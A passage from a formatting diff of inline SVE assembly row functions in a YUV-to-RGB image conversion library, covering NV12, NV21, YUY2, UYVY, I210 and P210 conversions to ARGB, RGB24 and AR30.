\n" // - READNV_SVE_2X NVTORGB_SVE_2X(t, b) RGBTOARGB8_SVE_2X - "subs %w[width], %w[width], %w[vl] \n" - "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" - "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.b \n" + "ptrue p2.b \n" + "1: \n" // + READNV_SVE_2X NVTORGB_SVE_2X(t, b) RGBTOARGB8_SVE_2X + "subs %w[width], %w[width], %w[vl] \n" + "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" + "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.b, wzr, %w[width_last_y] \n" - "whilelt p2.b, wzr, %w[width_last_uv] \n" // - READNV_SVE_2X NVTORGB_SVE_2X(t, b) RGBTOARGB8_SVE_2X - "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.b, wzr, %w[width_last_y] \n" + "whilelt p2.b, wzr, %w[width_last_uv] \n" // + READNV_SVE_2X NVTORGB_SVE_2X(t, b) RGBTOARGB8_SVE_2X + "st4b {z16.b, z17.b, z18.b, z19.b}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_uv] "+r"(src_vu), // %[src_vu] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [width_last_y] "r"(width_last_y), // %[width_last_y] [width_last_uv] "r"(width_last_uv) // %[width_last_uv] - : "cc", "memory", YUVTORGB_SVE_REGS, "p2"); + : "cc", "memory", YUVTORGB_SVE_REGS, "p2"); } static inline void NV12ToRGB24Row_SVE_SC( @@ -892,49 +893,49 @@ static inline void NV12ToRGB24Row_SVE_SC( uint8_t* dst_rgb24, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cntb %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - int width_last_uv = width_last_y + (width_last_y & 1); - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "dup z19.b, #255 \n" // Alpha - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cntb %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + int width_last_uv = width_last_y + (width_last_y & 1); + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "dup z19.b, #255 \n" // Alpha + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.b \n" - "ptrue p2.b \n" - "1: \n" // - READNV_SVE_2X NVTORGB_SVE_2X(b, t) RGBTOARGB8_SVE_2X - "subs %w[width], %w[width], %w[vl] \n" - "st3b {z16.b, z17.b, z18.b}, p1, [%[dst_rgb24]] \n" - "incb %[dst_rgb24], all, mul #3 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.b \n" + "ptrue p2.b \n" + "1: \n" // + READNV_SVE_2X NVTORGB_SVE_2X(b, t) RGBTOARGB8_SVE_2X + "subs %w[width], %w[width], %w[vl] \n" + "st3b {z16.b, z17.b, z18.b}, p1, [%[dst_rgb24]] \n" + "incb %[dst_rgb24], all, mul #3 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.b, wzr, %w[width_last_y] \n" - "whilelt p2.b, wzr, %w[width_last_uv] \n" // - READNV_SVE_2X NVTORGB_SVE_2X(b, t) RGBTOARGB8_SVE_2X - "st3b {z16.b, z17.b, z18.b}, p1, [%[dst_rgb24]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.b, wzr, %w[width_last_y] \n" + "whilelt p2.b, wzr, %w[width_last_uv] \n" // + READNV_SVE_2X NVTORGB_SVE_2X(b, t) RGBTOARGB8_SVE_2X + "st3b {z16.b, z17.b, z18.b}, p1, [%[dst_rgb24]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_uv] "+r"(src_uv), // %[src_uv] [dst_rgb24] "+r"(dst_rgb24), // %[dst_rgb24] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [width_last_y] "r"(width_last_y), // %[width_last_y] [width_last_uv] "r"(width_last_uv) // %[width_last_uv] - : "cc", "memory", YUVTORGB_SVE_REGS, "p2"); + : "cc", "memory", YUVTORGB_SVE_REGS, "p2"); } static inline void NV21ToRGB24Row_SVE_SC( @@ -943,49 +944,49 @@ static inline void NV21ToRGB24Row_SVE_SC( uint8_t* dst_rgb24, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cntb %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - int width_last_uv = width_last_y + (width_last_y & 1); - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "dup z19.b, #255 \n" // Alpha - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cntb %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + int width_last_uv = width_last_y + (width_last_y & 1); + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "dup z19.b, #255 \n" // Alpha + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.b \n" - "ptrue p2.b \n" - "1: \n" // - READNV_SVE_2X NVTORGB_SVE_2X(t, b) RGBTOARGB8_SVE_2X - "subs %w[width], %w[width], %w[vl] \n" - "st3b {z16.b, z17.b, z18.b}, p1, [%[dst_rgb24]] \n" - "incb %[dst_rgb24], all, mul #3 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.b \n" + "ptrue p2.b \n" + "1: \n" // + READNV_SVE_2X NVTORGB_SVE_2X(t, b) RGBTOARGB8_SVE_2X + "subs %w[width], %w[width], %w[vl] \n" + "st3b {z16.b, z17.b, z18.b}, p1, [%[dst_rgb24]] \n" + "incb %[dst_rgb24], all, mul #3 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.b, wzr, %w[width_last_y] \n" - "whilelt p2.b, wzr, %w[width_last_uv] \n" // - READNV_SVE_2X NVTORGB_SVE_2X(t, b) RGBTOARGB8_SVE_2X - "st3b {z16.b, z17.b, z18.b}, p1, [%[dst_rgb24]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.b, wzr, %w[width_last_y] \n" + "whilelt p2.b, wzr, %w[width_last_uv] \n" // + READNV_SVE_2X NVTORGB_SVE_2X(t, b) RGBTOARGB8_SVE_2X + "st3b {z16.b, z17.b, z18.b}, p1, [%[dst_rgb24]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_uv] "+r"(src_vu), // %[src_vu] [dst_rgb24] "+r"(dst_rgb24), // %[dst_rgb24] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [width_last_y] "r"(width_last_y), // %[width_last_y] [width_last_uv] "r"(width_last_uv) // %[width_last_uv] - : "cc", "memory", YUVTORGB_SVE_REGS, "p2"); + : "cc", "memory", YUVTORGB_SVE_REGS, "p2"); } #define READYUY2_SVE \ @@ -999,53 +1000,53 @@ static inline void YUY2ToARGBRow_SVE_SC(const uint8_t* src_yuy2, uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint32_t nv_uv_start = 0x03010301U; - uint32_t nv_uv_step = 0x04040404U; - uint64_t vl; - asm("cnth %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - int width_last_uv = width_last_y + (width_last_y & 1); - asm volatile( - "ptrue p0.b \n" - "index z22.s, %w[nv_uv_start], %w[nv_uv_step] \n" - "dup z19.b, #255 \n" // Alpha - YUVTORGB_SVE_SETUP - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint32_t nv_uv_start = 0x03010301U; + uint32_t nv_uv_step = 0x04040404U; + uint64_t vl; + asm("cnth %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + int width_last_uv = width_last_y + (width_last_y & 1); + asm volatile( + "ptrue p0.b \n" + "index z22.s, %w[nv_uv_start], %w[nv_uv_step] \n" + "dup z19.b, #255 \n" // Alpha + YUVTORGB_SVE_SETUP + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "ptrue p2.h \n" - "1: \n" // - READYUY2_SVE NVTORGB_SVE RGBTOARGB8_SVE - "subs %w[width], %w[width], %w[vl] \n" - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "ptrue p2.h \n" + "1: \n" // + READYUY2_SVE NVTORGB_SVE RGBTOARGB8_SVE + "subs %w[width], %w[width], %w[vl] \n" + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.h, wzr, %w[width_last_y] \n" - "whilelt p2.h, wzr, %w[width_last_uv] \n" // - READYUY2_SVE NVTORGB_SVE RGBTOARGB8_SVE - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.h, wzr, %w[width_last_y] \n" + "whilelt p2.h, wzr, %w[width_last_uv] \n" // + READYUY2_SVE NVTORGB_SVE RGBTOARGB8_SVE + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_yuy2] "+r"(src_yuy2), // %[src_yuy2] + "99: \n" + : [src_yuy2] "+r"(src_yuy2), // %[src_yuy2] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [nv_uv_start] "r"(nv_uv_start), // %[nv_uv_start] [nv_uv_step] "r"(nv_uv_step), // %[nv_uv_step] [width_last_y] "r"(width_last_y), // %[width_last_y] [width_last_uv] "r"(width_last_uv) // %[width_last_uv] - : "cc", "memory", YUVTORGB_SVE_REGS, "p2"); + : "cc", "memory", YUVTORGB_SVE_REGS, "p2"); } #define READUYVY_SVE \ @@ -1059,54 +1060,54 @@ static inline void UYVYToARGBRow_SVE_SC(const uint8_t* src_uyvy, uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint32_t nv_uv_start = 0x02000200U; - uint32_t nv_uv_step = 0x04040404U; - uint64_t vl; - asm("cnth %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - int width_last_uv = width_last_y + (width_last_y & 1); - asm volatile( - "ptrue p0.b \n" - "index z22.s, %w[nv_uv_start], %w[nv_uv_step] \n" - "dup z19.b, #255 \n" // Alpha - YUVTORGB_SVE_SETUP - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint32_t nv_uv_start = 0x02000200U; + uint32_t nv_uv_step = 0x04040404U; + uint64_t vl; + asm("cnth %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + int width_last_uv = width_last_y + (width_last_y & 1); + asm volatile( + "ptrue p0.b \n" + "index z22.s, %w[nv_uv_start], %w[nv_uv_step] \n" + "dup z19.b, #255 \n" // Alpha + YUVTORGB_SVE_SETUP + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "ptrue p2.h \n" - "1: \n" // - READUYVY_SVE NVTORGB_SVE RGBTOARGB8_SVE - "subs %w[width], %w[width], %w[vl] \n" - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "ptrue p2.h \n" + "1: \n" // + READUYVY_SVE NVTORGB_SVE RGBTOARGB8_SVE + "subs %w[width], %w[width], %w[vl] \n" + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "2: \n" - "whilelt p1.h, wzr, %w[width_last_y] \n" - "whilelt p2.h, wzr, %w[width_last_uv] \n" // - READUYVY_SVE NVTORGB_SVE RGBTOARGB8_SVE - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "2: \n" + "whilelt p1.h, wzr, %w[width_last_y] \n" + "whilelt p2.h, wzr, %w[width_last_uv] \n" // + READUYVY_SVE NVTORGB_SVE RGBTOARGB8_SVE + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_uyvy] "+r"(src_uyvy), // %[src_yuy2] + "99: \n" + : [src_uyvy] "+r"(src_uyvy), // %[src_yuy2] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [nv_uv_start] "r"(nv_uv_start), // %[nv_uv_start] [nv_uv_step] "r"(nv_uv_step), // %[nv_uv_step] [width_last_y] "r"(width_last_y), // %[width_last_y] [width_last_uv] "r"(width_last_uv) // %[width_last_uv] - : "cc", "memory", YUVTORGB_SVE_REGS, "p2"); + : "cc", "memory", YUVTORGB_SVE_REGS, "p2"); } static inline void I210ToARGBRow_SVE_SC(const uint16_t* src_y, @@ -1115,46 +1116,46 @@ static inline void I210ToARGBRow_SVE_SC(const uint16_t* src_y, uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cnth %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "dup z19.b, #255 \n" // Alpha - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cnth %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "dup z19.b, #255 \n" // Alpha + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "1: \n" // - READI210_SVE I4XXTORGB_SVE RGBTOARGB8_SVE - "subs %w[width], %w[width], %w[vl] \n" - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "1: \n" // + READI210_SVE I4XXTORGB_SVE RGBTOARGB8_SVE + "subs %w[width], %w[width], %w[vl] \n" + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.h, wzr, %w[width_last_y] \n" // - READI210_SVE I4XXTORGB_SVE RGBTOARGB8_SVE - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.h, wzr, %w[width_last_y] \n" // + READI210_SVE I4XXTORGB_SVE RGBTOARGB8_SVE + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [width_last_y] "r"(width_last_y) // %[width_last_y] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void I210AlphaToARGBRow_SVE_SC( @@ -1165,52 +1166,52 @@ static inline void I210AlphaToARGBRow_SVE_SC( uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cnth %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cnth %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "1: \n" // - READI210_SVE - "ld1h {z19.h}, p1/z, [%[src_a]] \n" // - I4XXTORGB_SVE - "incb %[src_a] \n" // - RGBATOARGB8_SVE - "subs %w[width], %w[width], %w[vl] \n" - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "1: \n" // + READI210_SVE + "ld1h {z19.h}, p1/z, [%[src_a]] \n" // + I4XXTORGB_SVE + "incb %[src_a] \n" // + RGBATOARGB8_SVE + "subs %w[width], %w[width], %w[vl] \n" + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.h, wzr, %w[width_last_y] \n" // - READI210_SVE - "ld1h {z19.h}, p1/z, [%[src_a]] \n" // - I4XXTORGB_SVE RGBATOARGB8_SVE - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.h, wzr, %w[width_last_y] \n" // + READI210_SVE + "ld1h {z19.h}, p1/z, [%[src_a]] \n" // + I4XXTORGB_SVE RGBATOARGB8_SVE + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [src_a] "+r"(src_a), // %[src_a] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [width_last_y] "r"(width_last_y) // %[width_last_y] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void I210ToAR30Row_SVE_SC(const uint16_t* src_y, @@ -1219,46 +1220,46 @@ static inline void I210ToAR30Row_SVE_SC(const uint16_t* src_y, uint8_t* dst_ar30, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cnth %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - // The limit is used for saturating the 2.14 red channel in STOREAR30_SVE. - uint16_t limit = 0x3ff0; - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "dup z23.h, %w[limit] \n" - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cnth %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + // The limit is used for saturating the 2.14 red channel in STOREAR30_SVE. + uint16_t limit = 0x3ff0; + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "dup z23.h, %w[limit] \n" + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "1: \n" // - READI210_SVE I4XXTORGB_SVE STOREAR30_SVE - "subs %w[width], %w[width], %w[vl] \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "1: \n" // + READI210_SVE I4XXTORGB_SVE STOREAR30_SVE + "subs %w[width], %w[width], %w[vl] \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.h, wzr, %w[width_last_y] \n" // - READI210_SVE I4XXTORGB_SVE STOREAR30_SVE + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.h, wzr, %w[width_last_y] \n" // + READI210_SVE I4XXTORGB_SVE STOREAR30_SVE - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [dst_ar30] "+r"(dst_ar30), // %[dst_ar30] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [width_last_y] "r"(width_last_y), // %[width_last_y] [limit] "r"(limit) // %[limit] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } // P210 has 10 bits in msb of 16 bit NV12 style layout. @@ -1267,54 +1268,54 @@ static inline void P210ToARGBRow_SVE_SC(const uint16_t* src_y, uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cnth %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - int width_last_uv = width_last_y + (width_last_y & 1); - uint32_t nv_uv_start = 0x03010301U; - uint32_t nv_uv_step = 0x04040404U; - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "index z22.s, %w[nv_uv_start], %w[nv_uv_step] \n" - "dup z19.b, #255 \n" // Alpha - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cnth %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + int width_last_uv = width_last_y + (width_last_y & 1); + uint32_t nv_uv_start = 0x03010301U; + uint32_t nv_uv_step = 0x04040404U; + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "index z22.s, %w[nv_uv_start], %w[nv_uv_step] \n" + "dup z19.b, #255 \n" // Alpha + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "ptrue p2.h \n" - "1: \n" // - READP210_SVE NVTORGB_SVE RGBTOARGB8_SVE - "subs %w[width], %w[width], %w[vl] \n" - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "ptrue p2.h \n" + "1: \n" // + READP210_SVE NVTORGB_SVE RGBTOARGB8_SVE + "subs %w[width], %w[width], %w[vl] \n" + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.h, wzr, %w[width_last_y] \n" - "whilelt p2.h, wzr, %w[width_last_uv] \n" // - READP210_SVE NVTORGB_SVE RGBTOARGB8_SVE - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.h, wzr, %w[width_last_y] \n" + "whilelt p2.h, wzr, %w[width_last_uv] \n" // + READP210_SVE NVTORGB_SVE RGBTOARGB8_SVE + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_uv] "+r"(src_uv), // %[src_uv] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [nv_uv_start] "r"(nv_uv_start), // %[nv_uv_start] [nv_uv_step] "r"(nv_uv_step), // %[nv_uv_step] [width_last_y] "r"(width_last_y), // %[width_last_y] [width_last_uv] "r"(width_last_uv) // %[width_last_uv] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void P210ToAR30Row_SVE_SC(const uint16_t* src_y, @@ -1322,47 +1323,47 @@ static inline void P210ToAR30Row_SVE_SC(const uint16_t* src_y, uint8_t* dst_ar30, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cnth %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - int width_last_uv = width_last_y + (width_last_y & 1); - uint32_t nv_uv_start = 0x03010301U; - uint32_t nv_uv_step = 0x04040404U; - // The limit is used for saturating the 2.14 red channel in STOREAR30_SVE. - uint16_t limit = 0x3ff0; - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "index z22.s, %w[nv_uv_start], %w[nv_uv_step] \n" - "dup z23.h, %w[limit] \n" - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cnth %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + int width_last_uv = width_last_y + (width_last_y & 1); + uint32_t nv_uv_start = 0x03010301U; + uint32_t nv_uv_step = 0x04040404U; + // The limit is used for saturating the 2.14 red channel in STOREAR30_SVE. + uint16_t limit = 0x3ff0; + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "index z22.s, %w[nv_uv_start], %w[nv_uv_step] \n" + "dup z23.h, %w[limit] \n" + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true 